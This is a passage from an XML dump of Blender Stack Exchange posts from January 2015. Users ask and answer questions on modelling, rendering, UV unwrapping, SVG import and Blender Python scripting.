OwnerUserId="6385" LastActivityDate="2015-01-12T22:40:16.817" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23104" PostTypeId="2" ParentId="23101" CreationDate="2015-01-12T22:48:04.183" Score="1" Body="&lt;p&gt;If all you need is a simple deformation, like twisting or bending, you could just use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Simple_Deform&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;simple deform&lt;/em&gt; modifier&lt;/a&gt; set to &lt;em&gt;twist&lt;/em&gt; or &lt;em&gt;bend&lt;/em&gt;.  No need for curves or anything complicated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple deform works by deforming the object's bounding box, you can read the linked wiki for more info.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-01-12T22:48:04.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23105" PostTypeId="1" CreationDate="2015-01-12T23:17:09.907" Score="10" ViewCount="5816" Body="&lt;p&gt;I know this seems to be a repetitive question, but nothing seems to work for me. I am trying to make two ping pong paddles to put in Blender using Inkscape. I've watched the YouTube tutorials, and I know I'm doing everything right, or so I think. But when I press import, they don't even show up. I really need to know how to do this so I can make my ping pong animation. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My pictures:&#xA;  &lt;img src=&quot;https://i.stack.imgur.com/lrQSX.png&quot; alt=&quot;Blue Ping Pong Paddle&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TzcJD.png&quot; alt=&quot;Red Ping Pong Paddle&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10944" LastEditorDisplayName="user1853" LastEditDate="2015-08-18T08:29:59.313" LastActivityDate="2015-08-18T08:29:59.313" Title="Why won't Blender let me import .svg files?" Tags="&lt;image&gt;&lt;import&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23106" PostTypeId="2" ParentId="23105" CreationDate="2015-01-12T23:32:03.623" Score="12" Body="&lt;p&gt;It works fine for me, however they come out very small initially:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rYQ0O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once imported and selected, you can scale them up with &lt;kbd&gt;S&lt;/kbd&gt;. Once properly sized, it's also probably a &lt;a href=&quot;https://blender.stackexchange.com/q/8654/599&quot;&gt;good idea to apply the scale&lt;/a&gt; with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remember to delete the default cube, otherwise they will appear inside it.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-08-18T06:56:20.003" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23107" PostTypeId="2" ParentId="23101" CreationDate="2015-01-13T00:03:09.733" Score="1" Body="&lt;p&gt;You can use the &lt;em&gt;Screw&lt;/em&gt; modifier. For this all you need to do is make a two dimensional profile of the curved object you want to make:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SufCx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then add the modifier:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sQeCT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your mesh will now look like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/li6Iv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that the &lt;em&gt;Angle&lt;/em&gt; setting decides over how large of an arc the mesh is screwed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the radius by simply moving the vertices (in &lt;em&gt;Edit&lt;/em&gt; mode) farther from the origin.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-13T01:04:10.090" LastActivityDate="2015-01-13T01:04:10.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23108" PostTypeId="2" ParentId="23092" CreationDate="2015-01-13T00:18:09.000" Score="2" Body="&lt;p&gt;I would suggest either a glossy shader as above or a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/Environment&quot; rel=&quot;nofollow&quot;&gt;convolution/environment map&lt;/a&gt; for more precise control with very low overhead.&lt;/p&gt;&#xA;" OwnerUserId="10945" LastActivityDate="2015-01-13T00:18:09.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23109" PostTypeId="2" ParentId="23105" CreationDate="2015-01-13T00:20:31.613" Score="-1" Body="&lt;p&gt;Ensure the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/AI_PDF_SVG&quot; rel=&quot;nofollow&quot;&gt;SVG import/export plugin&lt;/a&gt; is enabled. In the even there is no data returned check that your SVG will open in other compliant applications (e.g. GIMP, Inkscape). Compatibility can ruin your day with this one.&lt;/p&gt;&#xA;" OwnerUserId="10945" LastActivityDate="2015-01-13T00:20:31.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23111" PostTypeId="1" AcceptedAnswerId="23130" CreationDate="2015-01-13T03:27:35.343" Score="12" ViewCount="3493" Body="&lt;p&gt;I am trying to achieve a realistic render of a water drop on a piece of grass in cycles.  Here is my render:&lt;img src=&quot;https://i.stack.imgur.com/7QRYk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The water drop looks kind of bland and fake right now; it is too dark.  I want it to look more like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/173SB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I that &lt;em&gt;glare&lt;/em&gt; effect on the water drop in blender?&lt;/p&gt;&#xA;" OwnerUserId="10946" LastEditorUserId="10946" LastEditDate="2016-08-10T15:40:02.460" LastActivityDate="2020-10-20T15:37:59.590" Title="Rendering a Water Drop in Cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23112" PostTypeId="2" ParentId="23011" CreationDate="2015-01-13T04:26:20.293" Score="1" Body="&lt;p&gt;Okay, so we have no idea what you did to this to get it this whacked out, but first of all, I went to the object menu, and cleared the armature from the table's parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that the table flies across the entire world after doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IN OBJECT MODE&lt;/strong&gt; with no weight paints, or anything else going on, get the table and the armature in generally the same spot as each other using &lt;kbd&gt;G&lt;/kbd&gt; (translate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, select the table, &lt;em&gt;and then&lt;/em&gt; the armature. Hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;em&gt;with automatic weights&lt;/em&gt;. This fixes most of the problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to do some veeery minor weight painting, but don't go overboard 'cause it's real easy to mess up with the weight paint.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-13T04:26:20.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23113" PostTypeId="1" AcceptedAnswerId="23118" CreationDate="2015-01-13T05:20:39.250" Score="12" ViewCount="11896" Body="&lt;p&gt;What is the python way to select vertices of a mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for vert in obj.data.vertices:  &#xA;    vert.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I ran the above code in edit mode, but the vertices didn't turn yellow. &lt;/p&gt;&#xA;" OwnerUserId="8438" LastActivityDate="2018-09-18T08:13:58.423" Title="Select vertices of mesh in python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23114" PostTypeId="1" CreationDate="2015-01-13T05:48:02.973" Score="1" ViewCount="207" Body="&lt;p&gt;So I have a submarine that I've finished modelling, it is low-poly, and ready for texturing. The seams seem to work perfectly, and Blender has no complaints. The patterns lay out, and I start coloring in the areas in order to lay down the final textures on specific areas. Problem! Streaks start appearing outside the UV seams, across the entire texture. This started happening with Blender 2.71, and nothing I can do seems to fix them - there seems to be no rhyme to why they appear either:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q2ziK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered this before? What is the best way to solve this?&lt;/p&gt;&#xA;" OwnerUserId="10947" LastActivityDate="2015-01-13T05:48:02.973" Title="When I unwrap an object for texturing with custom seams, sometimes I get strange streaks while painting. How can I fix this?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-01-13T09:09:42.350" ContentLicense="CC BY-SA 3.0" />
  <row Id="23116" PostTypeId="1" CreationDate="2015-01-13T07:07:47.653" Score="4" ViewCount="1877" Body="&lt;p&gt;I have not been able to find any information on how to display a live/&quot;real time&quot; video from my webcam in Blenders motion tracking, not a pre-recorded video, is there an easy way to do this?&lt;/p&gt;&#xA;" OwnerUserId="10935" LastEditorUserId="29" LastEditDate="2015-01-13T13:30:07.120" LastActivityDate="2017-08-17T12:17:34.790" Title="Is there a way I can display live/real time webcam video in the Motion Tracker?" Tags="&lt;video&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23117" PostTypeId="1" AcceptedAnswerId="23122" CreationDate="2015-01-13T08:06:41.390" Score="1" ViewCount="1209" Body="&lt;p&gt;I just started to work with blender, finished my first models and i want to do some advanced things. &#xA;My question is pretty simple: please see attached image. How do i achieve such rendering style in blender ( solid, plain cartoon-style colors) ? I'm not even sure how to google this, since i have no idea how this style is properly called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lFVTn.jpg&quot; alt=&quot;This is what i want :)&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10950" LastActivityDate="2015-01-13T09:12:36.100" Title="How to render model with plain cartoon like colors" Tags="&lt;rendering&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-01-13T12:21:33.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="23118" PostTypeId="2" ParentId="23113" CreationDate="2015-01-13T08:19:48.200" Score="14" Body="&lt;pre&gt;&lt;code&gt;import bpy,bmesh&#xA;&#xA;ob   = bpy.data.objects['Cube']&#xA;mesh = bmesh.from_edit_mesh(ob.data)&#xA;for v in mesh.verts:&#xA;    v.select = True&#xA;&#xA;# trigger viewport update&#xA;bpy.context.scene.objects.active = bpy.context.scene.objects.active&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bmesh.html?highlight=bmesh.from_edit_mesh#bmesh.from_edit_mesh&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="30849" LastEditDate="2018-09-18T08:13:58.423" LastActivityDate="2018-09-18T08:13:58.423" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23119" PostTypeId="2" ParentId="23098" CreationDate="2015-01-13T08:26:27.620" Score="5" Body="&lt;p&gt;The answer that you link to is a good solution, you can even use an object offset in two arrays to get the result you are after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with one simple piece.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7F0m1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a solidify and array with object offset, rotate the empty to fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G0n31.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a second array also with object offset, move this empty up and rotate to offset the notches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qNSmm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can look at the &lt;a href=&quot;http://www.pasteall.org/blend/33801&quot; rel=&quot;noreferrer&quot;&gt;sample blend here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-13T08:26:27.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23120" PostTypeId="2" ParentId="23089" CreationDate="2015-01-13T08:54:31.670" Score="0" Body="&lt;p&gt;I believe that is a limitation of the current dependency graph and one of the reasons behind the work on creating a new improved one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now a workaround would be to have the bone with the driver to be part of a different armature than the bone being followed.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-13T08:54:31.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23121" PostTypeId="1" AcceptedAnswerId="23145" CreationDate="2015-01-13T09:07:11.710" Score="3" ViewCount="1705" Body="&lt;p&gt;I've got a scene with timeline markers. Example: &quot;Bob&quot;, &quot;John&quot; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to set the Output file name to match these markers, so that I can hit Render Animation and have Blender change the output file names to match the timeline markers. &#xA;So when the playhead reaches the &quot;bob&quot; timeline marker, the output filename is changed to &quot;bob.png&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ShZwC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about making a Python script to automate this? &lt;/p&gt;&#xA;" OwnerUserId="10951" LastEditorUserId="3710" LastEditDate="2015-01-13T17:08:58.610" LastActivityDate="2015-01-14T14:22:19.930" Title="Is it possible to set the Output name based on the current Timeline marker?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23122" PostTypeId="2" ParentId="23117" CreationDate="2015-01-13T09:12:36.100" Score="1" Body="&lt;p&gt;That is quite easy. If using Blender Internal, simply make sure the ambient light is quite high so that shadow areas are not dark or black. Then set the Specularity value all the way down. That way the car will be red all over, but brighter red in the direction of the lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the headlights, set the material to Emit so that the colos will be completely flat.&lt;/p&gt;&#xA;" OwnerUserId="10951" LastActivityDate="2015-01-13T09:12:36.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23123" PostTypeId="2" ParentId="23069" CreationDate="2015-01-13T09:13:59.963" Score="2" Body="&lt;p&gt;In the logic bricks you can add python scripts under &quot;Controllers&quot;.  You would need to set a sensor &quot;Property&quot; or two that holds something to indicate the start/end of the game.  Likewise you will need to set that &quot;Property&quot; at specific times to achieve what you want.  &quot;Restsrt Game&quot; is under Actuators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have to modify your code but you can do a majority with Logic bricks and sensing &quot;Properties&quot;.  You can do something similar with changing cameras at certain times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For detecting frames, just have your script set a Logic Brick property each frame change, you will need to keep an eye on your FPS as large scripts can slow you down.&lt;/p&gt;&#xA;" OwnerUserId="10935" LastActivityDate="2015-01-13T09:13:59.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23124" PostTypeId="2" ParentId="23111" CreationDate="2015-01-13T09:18:48.967" Score="2" Body="&lt;p&gt;Seems like your HDRI map is wrong for this, as there is no visible sky in the refraction. That's one of the things that would help sell the illusion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, to get the dispersion effect, try this: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?242119-Cyles-Dispersion-glass-materal&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?242119-Cyles-Dispersion-glass-materal&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10951" LastActivityDate="2015-01-13T09:18:48.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23125" PostTypeId="1" CreationDate="2015-01-13T09:38:07.560" Score="0" ViewCount="41" Body="&lt;p&gt;I am trying to achieve a scene where a cup of glass covered with droplets. I'm using particles system and a group of droplets from separate layer, to make it possible, but I can't get droplets appear with correct direction. I was wondering what kind of settings should be done to fix this problem, please see the screenshots below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hiDLZ.png&quot; alt=&quot;false oriented droplets&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5XbGu.png&quot; alt=&quot;droplets group&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bSMhA.png&quot; alt=&quot;particles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have tried changing the positions of each droplets in the group, but didn't work&lt;/li&gt;&#xA;&lt;li&gt;I have tried changing the rotations under the particles but couldn't reach a good result&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="5435" LastActivityDate="2015-01-13T09:38:07.560" Title="how can I make droplets placed on a cup properly?" Tags="&lt;modeling&gt;&lt;particles&gt;" AnswerCount="0" CommentCount="8" ClosedDate="2015-01-13T12:36:40.047" ContentLicense="CC BY-SA 3.0" />
  <row Id="23126" PostTypeId="1" AcceptedAnswerId="23132" CreationDate="2015-01-13T09:53:59.100" Score="9" ViewCount="1303" Body="&lt;p&gt;My add-on needs to do some clean-up action before it is ended. This is done in the unregister() function in &lt;code&gt;__init__.py&lt;/code&gt; when the user unchecks the add-on in Blender's preferences dialog and works fine in this case. But if the user just closes Blender the unregister() function seems not to be called. How could I achieve this or force Blender to do some other action before closing? There is no handler list for the event &quot;Blender is closing&quot; in bpy.app.handlers as far as I can see.&lt;/p&gt;&#xA;" OwnerUserId="8421" LastActivityDate="2015-05-27T13:58:07.867" Title="Is there a way to execute code before Blender is closing?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23127" PostTypeId="2" ParentId="23050" CreationDate="2015-01-13T10:00:31.330" Score="2" Body="&lt;p&gt;Since BGE is written in C in the blender sources it will most likely be a few micro seconds faster than scripting in python that needs to be parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can test your timings with the &quot;timeit&quot; python module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the python console just type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import timeit&#xA;help(&quot;timeit&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for the pydoc in blender.&lt;/p&gt;&#xA;" OwnerUserId="10935" LastActivityDate="2015-01-13T10:00:31.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23128" PostTypeId="1" CreationDate="2015-01-13T11:05:03.757" Score="0" ViewCount="51" Body="&lt;p&gt;I've watched a video on background images, and I can only see the background image that I add in the camera view. I can't see it in any other view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this?&lt;/p&gt;&#xA;" OwnerUserId="10954" LastActivityDate="2015-01-13T11:05:03.757" Title="Blender 2.7 Background image not working" Tags="&lt;image&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-01-13T15:03:26.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="23130" PostTypeId="2" ParentId="23111" CreationDate="2015-01-13T12:49:44.803" Score="16" Body="&lt;p&gt;The environment and lighting setup is very important, especially for specularly reflecting and refracting materials such as glass or water.&lt;/p&gt;&#xA;&lt;p&gt;It looks to me like you don't have a bright enough sky. You could use a HDR sky image via the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/render/shader_nodes/textures/environment.html#environment-texture-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;environment texture node&lt;/a&gt;, or the built in &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/render/shader_nodes/textures/sky.html#sky-texture-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;procedural sky texture&lt;/a&gt;, which can give decent results too (particularly when you don't actually see the sky directly):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OojSS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For this scene I used a procedural sky texture for the background color with a strength of 4:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HdjTF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I also used a sun lamp to get some directional lighting (see &lt;a href=&quot;https://blender.stackexchange.com/q/5875/599&quot;&gt;Should I add a sun lamp when using an hdri environment?&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;For the compositing setup I only used two simple glare nodes:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8PADL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The de-speckle node is only to get rid of some fireflies that were appearing. Normally I'd clamp them, however in this case I wanted to leave the render un-clamped, in order to preserve any values greater than 1 for use by the glare node.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Lighting and environment aside, also ensure your glass shader is set to white. When added via the properties panel, it defaults to &lt;code&gt;.8&lt;/code&gt; grey, which can result in the object looking too dark.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-20T15:37:59.590" LastActivityDate="2020-10-20T15:37:59.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23131" PostTypeId="1" AcceptedAnswerId="23158" CreationDate="2015-01-13T12:54:03.930" Score="2" ViewCount="101" Body="&lt;p&gt;seems to work with files, but not with folders. very tedious, as you have to go back to your os browser and cleanup what you couldnt do from within blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;found a year old question here which was answered that it's not possible. is it still not possible somehow? in 2.73?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="8199" LastActivityDate="2015-01-13T21:05:47.297" Title="is it still not possible to delete folders in the file browser?" Tags="&lt;file-browser&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23132" PostTypeId="2" ParentId="23126" CreationDate="2015-01-13T13:35:44.637" Score="6" Body="&lt;p&gt;No, the destructors are neither called when Blender terminates. But I think I have a workaround:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a timer running (&quot;Operator Modal Timer&quot; from the template list), and its cancel() function is called by Blender when terminating! To distinguish the various callers of the cancel() function I count the elements in the stack trace, given by traceback.format_stack(). I figured out the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 element in the traceback list: cancel() is called because Blender is terminated.&lt;/li&gt;&#xA;&lt;li&gt;3 elements in the traceback list: cancel() is called because a *.blend file is loaded.&lt;/li&gt;&#xA;&lt;li&gt;5 elements in the traceback list: cancel() is called because my &quot;stop timer&quot; menu button is pressed by the user.&lt;/li&gt;&#xA;&lt;li&gt;8 elements in the traceback list: cancel() is called because the add-on is unchecked in Blender's preferences dialog.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am aware that counting on these values is very unsafe because they may change with each Blender version or even with the state Blender is in. But important for me is only the first case, and it seems to work for me that way - at least for the time being ...&lt;/p&gt;&#xA;" OwnerUserId="8421" LastActivityDate="2015-01-13T13:35:44.637" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23133" PostTypeId="1" AcceptedAnswerId="23134" CreationDate="2015-01-13T13:46:35.597" Score="1" ViewCount="794" Body="&lt;p&gt;How to unwrap this curved flat surface? &lt;img src=&quot;https://i.stack.imgur.com/sMmdr.png&quot; alt=&quot;curved flat stripe&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to unwrap such mesh properly? I want to fix texture mapping on the curved part of the mesh. My plan is to make smth like river animation(U coordinate animation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wireframe and texture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/X4KcT.png&quot; alt=&quot;blended&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="10956" LastActivityDate="2015-01-13T15:00:45.340" Title="Unwrap Curved Flat Stripe" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23134" PostTypeId="2" ParentId="23133" CreationDate="2015-01-13T14:52:14.417" Score="3" Body="&lt;p&gt;start with a shape like this and unwrap it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iYFOP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then add an array modifier and a curve modifier to control the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M9CJS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file &lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33805&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-13T15:00:45.340" LastActivityDate="2015-01-13T15:00:45.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23135" PostTypeId="1" AcceptedAnswerId="23138" CreationDate="2015-01-13T15:22:49.987" Score="1" ViewCount="1219" Body="&lt;p&gt;Does Blender Render have pre-made material like a chromed/metal material like other 3D softwares like 3dsMax or Maya? I know that there are more options on cycles, but does the blender render have this too?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="3127" LastEditDate="2015-01-13T16:13:18.680" LastActivityDate="2015-01-13T16:13:18.680" Title="Premade Materials in Blender render?" Tags="&lt;modeling&gt;&lt;materials&gt;&lt;append&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23136" PostTypeId="1" AcceptedAnswerId="23144" CreationDate="2015-01-13T15:25:49.897" Score="3" ViewCount="2282" Body="&lt;p&gt;when I try to render this scene I have everything black. I've used Mineways to export the model.  I think it is a light issue because if I add a sun lamp it becomes colored, but only from the direction of the sun.  The rest is all black like nothing reflects any light. What is the correct way to have a realistic illumination in this case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://www.dropbox.com/s/6t9a3gsifx2boey/progetto.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;.blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: adding environment lights there are no shadows but light works: &lt;a href=&quot;https://www.dropbox.com/s/wxtodq863iascje/progetto2.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/wxtodq863iascje/progetto2.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a lot of tries, and seems that if I put an &lt;em&gt;ambient occlusion&lt;/em&gt; or &lt;em&gt;environment lighting&lt;/em&gt; in the world properties panel, it is rendered properly, but in this case I have light from everywhere and not from a sun, so no shadows are rendered.&lt;/p&gt;&#xA;" OwnerUserId="10957" LastEditorUserId="10957" LastEditDate="2015-01-13T15:49:48.383" LastActivityDate="2015-01-13T16:25:04.713" Title="black objects when rendering scene (BI)" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
